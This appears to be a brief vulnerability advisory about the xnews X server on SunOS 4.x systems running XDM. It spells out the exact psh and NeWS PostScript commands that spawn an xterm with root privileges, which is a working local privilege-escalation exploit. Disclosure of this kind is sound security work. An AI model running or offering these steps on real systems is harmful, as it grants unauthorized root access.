COMMAND

    xnews

SYSTEMS AFFECTED

    SunOS 4.x  running XDM and using xnews X server.

PROBLEM

    You can get a root shell on such a system. To get a shell do:

        /usr/openwin/bin/psh
        /NeWS 3 0 findpackages beginpackage
        executive
        (/usr/local/bin/xterm -display localhost:0) pipe

    This give a root shell with OpenWindows and SunOS 4.x. You have to
    be logged bia XDM.